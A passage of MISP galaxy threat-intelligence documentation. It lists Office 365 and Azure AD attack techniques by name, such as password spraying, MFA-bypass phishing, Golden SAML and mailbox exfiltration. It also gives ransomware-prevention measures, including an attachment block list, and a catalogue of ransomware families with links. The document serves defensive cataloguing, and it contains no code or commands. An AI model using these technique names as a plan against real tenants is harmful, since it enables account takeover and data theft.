The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Portal Recon"*

On-Prem Exchange - Enumerate domain accounts: using Skype4B

On-Prem Exchange - Enumerate domain accounts: using Skype4B

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: using Skype4B"*

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: OWA & Exchange"*

On-Prem Exchange - Enumerate domain accounts: FindPeople

On-Prem Exchange - Enumerate domain accounts: FindPeople

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: FindPeople"*

On-Prem Exchange - OWA version discovery

On-Prem Exchange - OWA version discovery

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - OWA version discovery"*

Bruteforce via OWA

Bruteforce via OWA

The tag is: *misp-galaxy:cloud-security="Bruteforce via OWA"*

Bruteforce EWS

Bruteforce EWS

The tag is: *misp-galaxy:cloud-security="Bruteforce EWS"*

Bruteforce OAuth

Bruteforce OAuth

The tag is: *misp-galaxy:cloud-security="Bruteforce OAuth"*

Bruteforce via AAD Sign in Form

Bruteforce via AAD Sign in Form

The tag is: *misp-galaxy:cloud-security="Bruteforce via AAD Sign in Form"*

Bruteforce through Autologon API

Bruteforce through Autologon API

The tag is: *misp-galaxy:cloud-security="Bruteforce through Autologon API"*

AAD - Password Spray: MailSniper

AAD - Password Spray: MailSniper

The tag is: *misp-galaxy:cloud-security="AAD - Password Spray: MailSniper"*

AAD - Password Spray: CredKing

AAD - Password Spray: CredKing

The tag is: *misp-galaxy:cloud-security="AAD - Password Spray: CredKing"*

O365 - Bruteforce of Autodiscover: SensePost Ruler

O365 - Bruteforce of Autodiscover: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="O365 - Bruteforce of Autodiscover: SensePost Ruler"*

O365 - Phishing for credentials

O365 - Phishing for credentials

The tag is: *misp-galaxy:cloud-security="O365 - Phishing for credentials"*

O365 - Phishing using OAuth app

O365 - Phishing using OAuth app

The tag is: *misp-galaxy:cloud-security="O365 - Phishing using OAuth app"*

O365 - 2FA MITM Phishing: evilginx2

O365 - 2FA MITM Phishing: evilginx2

The tag is: *misp-galaxy:cloud-security="O365 - 2FA MITM Phishing: evilginx2"*

O365 - MFA Bypass via IMAP/POP

O365 - MFA Bypass via IMAP/POP

The tag is: *misp-galaxy:cloud-security="O365 - MFA Bypass via IMAP/POP"*

Compromising Pass-Through Authentication

Compromising Pass-Through Authentication

The tag is: *misp-galaxy:cloud-security="Compromising Pass-Through Authentication"*

Enumerate Users, Admins, Roles and Permissions

Enumerate Users, Admins, Roles and Permissions

The tag is: *misp-galaxy:cloud-security="Enumerate Users, Admins, Roles and Permissions"*

Enumerate MFA Settings

Enumerate MFA Settings

The tag is: *misp-galaxy:cloud-security="Enumerate MFA Settings"*

Golden SAML

Golden SAML

The tag is: *misp-galaxy:cloud-security="Golden SAML"*

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS"*

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler"*

Change MFA Settings

Change MFA Settings

The tag is: *misp-galaxy:cloud-security="Change MFA Settings"*

Change Conditional Access Settings

Change Conditional Access Settings

The tag is: *misp-galaxy:cloud-security="Change Conditional Access Settings"*

Malicious App Registrations

Malicious App Registrations

The tag is: *misp-galaxy:cloud-security="Malicious App Registrations"*

Add Service Principal or App Credentials

Add Service Principal or App Credentials

The tag is: *misp-galaxy:cloud-security="Add Service Principal or App Credentials"*

Add Service Principal

Add Service Principal

The tag is: *misp-galaxy:cloud-security="Add Service Principal"*

Add Federation Trust

Add Federation Trust

The tag is: *misp-galaxy:cloud-security="Add Federation Trust"*

O365 - Add Mail forwarding rule

O365 - Add Mail forwarding rule

The tag is: *misp-galaxy:cloud-security="O365 - Add Mail forwarding rule"*

Add Global admin account

Add Global admin account

The tag is: *misp-galaxy:cloud-security="Add Global admin account"*

Add user account

Add user account

The tag is: *misp-galaxy:cloud-security="Add user account"*

O365 - Delegate Tenant Admin

O365 - Delegate Tenant Admin

The tag is: *misp-galaxy:cloud-security="O365 - Delegate Tenant Admin"*

End Point - Persistence throught Outlook Home Page: SensePost Ruler

End Point - Persistence throught Outlook Home Page: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="End Point - Persistence throught Outlook Home Page: SensePost Ruler"*

End Point - Persistence throught custom Outlook form

End Point - Persistence throught custom Outlook form

The tag is: *misp-galaxy:cloud-security="End Point - Persistence throught custom Outlook form"*

Mailbox Rule Creation

Mailbox Rule Creation

The tag is: *misp-galaxy:cloud-security="Mailbox Rule Creation"*

Mailbox Folder Permissions

Mailbox Folder Permissions

The tag is: *misp-galaxy:cloud-security="Mailbox Folder Permissions"*

Mail Flow (Transport Rules)

Mail Flow (Transport Rules)

The tag is: *misp-galaxy:cloud-security="Mail Flow (Transport Rules)"*

O365 - MailSniper: Search Mailbox for credentials

O365 - MailSniper: Search Mailbox for credentials

The tag is: *misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for credentials"*

O365 - Search for Content with eDiscovery

O365 - Search for Content with eDiscovery

The tag is: *misp-galaxy:cloud-security="O365 - Search for Content with eDiscovery"*

O365 - Account Takeover: Add-MailboxPermission

O365 - Account Takeover: Add-MailboxPermission

The tag is: *misp-galaxy:cloud-security="O365 - Account Takeover: Add-MailboxPermission"*

O365 - Pivot to On-Prem host: SensePost Ruler

O365 - Pivot to On-Prem host: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="O365 - Pivot to On-Prem host: SensePost Ruler"*

O365 - Exchange Tasks for C2: MWR

O365 - Exchange Tasks for C2: MWR

The tag is: *misp-galaxy:cloud-security="O365 - Exchange Tasks for C2: MWR"*

O365 - Send Internal Email

O365 - Send Internal Email

The tag is: *misp-galaxy:cloud-security="O365 - Send Internal Email"*

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)"*

On-Prem Exchange - Delegation

On-Prem Exchange - Delegation

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Delegation"*

O365 - MailSniper: Search Mailbox for content

O365 - MailSniper: Search Mailbox for content

The tag is: *misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for content"*

O365 - Exfiltration email using EWS APIs with PowerShell

O365 - Exfiltration email using EWS APIs with PowerShell

The tag is: *misp-galaxy:cloud-security="O365 - Exfiltration email using EWS APIs with PowerShell"*

Downgrade License

Downgrade License

The tag is: *misp-galaxy:cloud-security="Downgrade License"*

Impersonate Users

Impersonate Users

The tag is: *misp-galaxy:cloud-security="Impersonate Users"*

Assign Administrative Role to Service Principal

Assign Administrative Role to Service Principal

The tag is: *misp-galaxy:cloud-security="Assign Administrative Role to Service Principal"*

Elevate to User Access Administrator Role

Elevate to User Access Administrator Role

The tag is: *misp-galaxy:cloud-security="Elevate to User Access Administrator Role"*

eDiscovery Abuse

eDiscovery Abuse

The tag is: *misp-galaxy:cloud-security="eDiscovery Abuse"*

O365 - Download documents, messages and email

O365 - Download documents, messages and email

The tag is: *misp-galaxy:cloud-security="O365 - Download documents, messages and email"*

Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
Various

Backup and Restore Process

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger's backup - it is both existent and non-existent until you've tried a restore

The tag is: *misp-galaxy:preventive-measure="Backup and Restore Process"*

Table 5803. Table References

Links
http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7 .[http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.]

Block Macros

Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros

The tag is: *misp-galaxy:preventive-measure="Block Macros"*

Table 5804. Table References

Links
https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6?ui=en-US&rs=en-US&ad=US
https://www.404techsupport.com/2016/04/office2016-macro-group-policy/?utm_source=dlvr.it&utm_medium=twitter

Disable WSH

Disable Windows Script Host

The tag is: *misp-galaxy:preventive-measure="Disable WSH"*

Table 5805. Table References

Links
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html

Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 1"*

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 2"*

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: *misp-galaxy:preventive-measure="Restrict program execution"*

Table 5806. Table References

Links
http://www.fatdex.net/php/2014/06/01/disable-exes-from-running-inside-any-user-appdata-directory-gpo/
http://www.thirdtier.net/ransomware-prevention-kit/

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: *misp-galaxy:preventive-measure="Show File Extensions"*

Table 5807. Table References

Links
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: *misp-galaxy:preventive-measure="Enforce UAC Prompt"*

Table 5808. Table References

Links
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx

Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: *misp-galaxy:preventive-measure="Remove Admin Privileges"*

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: *misp-galaxy:preventive-measure="Restrict Workstation Communication"*

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: *misp-galaxy:preventive-measure="Sandboxing Email Input"*

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: *misp-galaxy:preventive-measure="Execution Prevention"*

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: *misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"*

Table 5809. Table References

Links
https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: *misp-galaxy:preventive-measure="File Screening"*

Table 5810. Table References

Links

http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm

Restrict program execution #2

Block program executions (AppLocker)

The tag is: *misp-galaxy:preventive-measure="Restrict program execution #2"*

Table 5811. Table References

Links
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx
http://social.technet.microsoft.com/wiki/contents/articles/5211.how-to-configure-applocker-group-policy-to-prevent-software-from-running.aspx

EMET

Detect and block exploitation techniques

The tag is: *misp-galaxy:preventive-measure="EMET"*

Table 5812. Table References

Links
www.microsoft.com/emet[www.microsoft.com/emet]
http://windowsitpro.com/security/control-emet-group-policy

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: *misp-galaxy:preventive-measure="Sysmon"*

Table 5813. Table References

Links
https://twitter.com/JohnLaTwC/status/799792296883388416

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: *misp-galaxy:preventive-measure="Blacklist-phone-numbers"*

Table 5814. Table References

Links

https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat

ACL

Restrict access to shares users should not be allowed to write to

The tag is: *misp-galaxy:preventive-measure="ACL"*

Table 5815. Table References

Links
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-control-lists

Packet filtering

Limit access to a service by network/packet filtering the access to

The tag is: *misp-galaxy:preventive-measure="Packet filtering"*

Table 5816. Table References

Links
https://en.wikipedia.org/wiki/Firewall_(computing)

Ransomware

Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar.

Ransomware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml - http://pastebin.com/raw/GHgpWjar - MISP Project - https://id-ransomware.blogspot.com/2016/07/ransomware-list.html

Nhtnwcuf Ransomware (Fake)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Nhtnwcuf Ransomware (Fake)"*

Table 5817. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html

CryptoJacky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoJacky Ransomware"*

Table 5818. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html
https://twitter.com/jiriatvirlab/status/838779371750031360

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kaenlupuf Ransomware"*

Table 5819. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html

EnjeyCrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EnjeyCrypter Ransomware"*

Table 5820. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/
https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/

Dangerous Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Dangerous Ransomware"*

Table 5821. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html

Vortex Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Vortex Ransomware"*

Vortex Ransomware is also known as:

- Ŧl□tєr□ r□□□□□□□rє

Table 5822. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html
https://twitter.com/struppigel/status/839778905091424260

GC47 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GC47 Ransomware"*

Table 5823. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html

RozaLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RozaLocker Ransomware"*

RozaLocker Ransomware is also known as:

- Roza

Table 5824. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html
https://twitter.com/jiriatvirlab/status/840863070733885440

CryptoMeister Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoMeister Ransomware"*

Table 5825. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html

GG Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016

The tag is: *misp-galaxy:ransomware="GG Ransomware"*

Table 5826. Table References

Links

https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html

Project34 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Project34 Ransomware"*

Table 5827. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html

PetrWrap Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PetrWrap Ransomware"*

Table 5828. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html
https://www.bleepingcomputer.com/news/security/petrwrap-ransomware-is-a-petya-offspring-used-in-targeted-attacks/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Karmen Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear

The tag is: *misp-galaxy:ransomware="Karmen Ransomware"*

Table 5829. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html
https://twitter.com/malwrhunterteam/status/841747002438361089

Revenge Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant

The tag is: *misp-galaxy:ransomware="Revenge Ransomware"*

Table 5830. Table References

Links
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"*

Turkish FileEncryptor Ransomware is also known as:

- Fake CTB-Locker

Table 5831. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html
https://twitter.com/JakubKroustek/status/842034887397908480

Kirk Ransomware & Spock Decryptor

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc.. Payments in Monero

The tag is: *misp-galaxy:ransomware="Kirk Ransomware & Spock Decryptor"*

Kirk Ransomware & Spock Decryptor is also known as:

- Kirk & Spock Decryptor

Table 5832. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/
https://www.bleepingcomputer.com/forums/t/642239/kirk-ransomware-help-support-topic-kirk-extension-ransom-notetxt/
http://www.networkworld.com/article/3182415/security/star-trek-themed-kirk-ransomware-has-spock-decryptor-demands-ransom-be-paid-in-monero.html
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges
https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/
https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc/analysis/

ZinoCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZinoCrypt Ransomware"*

Table 5833. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html
https://twitter.com/demonslay335?lang=en
https://twitter.com/malwrhunterteam/status/842781575410597894

Crptxxx Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3's UAC bypass

The tag is: *misp-galaxy:ransomware="Crptxxx Ransomware"*

Table 5834. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html
https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84
http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc
https://twitter.com/malwrhunterteam/status/839467168760725508

MOTD Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MOTD Ransomware"*

Table 5835. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/
https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/

CryptoDevil Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoDevil Ransomware"*

Table 5836. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html
https://twitter.com/PolarToffee/status/843527738774507522

FabSysCrypto Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="FabSysCrypto Ransomware"*

Table 5837. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html
https://twitter.com/struppigel/status/837565766073475072

Lock2017 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock2017 Ransomware"*

Table 5838. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html

RedAnts Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RedAnts Ransomware"*

Table 5839. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html

ConsoleApplication1 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,

Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ConsoleApplication1 Ransomware"*

Table 5840. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html

KRider Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="KRider Ransomware"*

Table 5841. Table References

Links
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html
https://twitter.com/malwrhunterteam/status/836995570384453632

CYR-Locker Ransomware (FAKE)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg

The tag is: *misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"*

Table 5842. Table References

Links
https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&updated-max=2018-01-01T00:00:00-08:00&max-results=50

DotRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DotRansomware"*

Table 5843. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html

Unlock26 Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Unlock26 Ransomware"*

Table 5844. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html
https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/

PicklesRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="PicklesRansomware"*

PicklesRansomware is also known as:

- Pickles

Table 5845. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html
https://twitter.com/JakubKroustek/status/834821166116327425

Vanguard Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware

The tag is: *misp-galaxy:ransomware="Vanguard Ransomware"*

Table 5846. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html
https://twitter.com/JAMESWT_MHT/status/834783231476166657

PyL33T Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PyL33T Ransomware"*

Table 5847. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html
https://twitter.com/Jan0fficial/status/834706668466405377

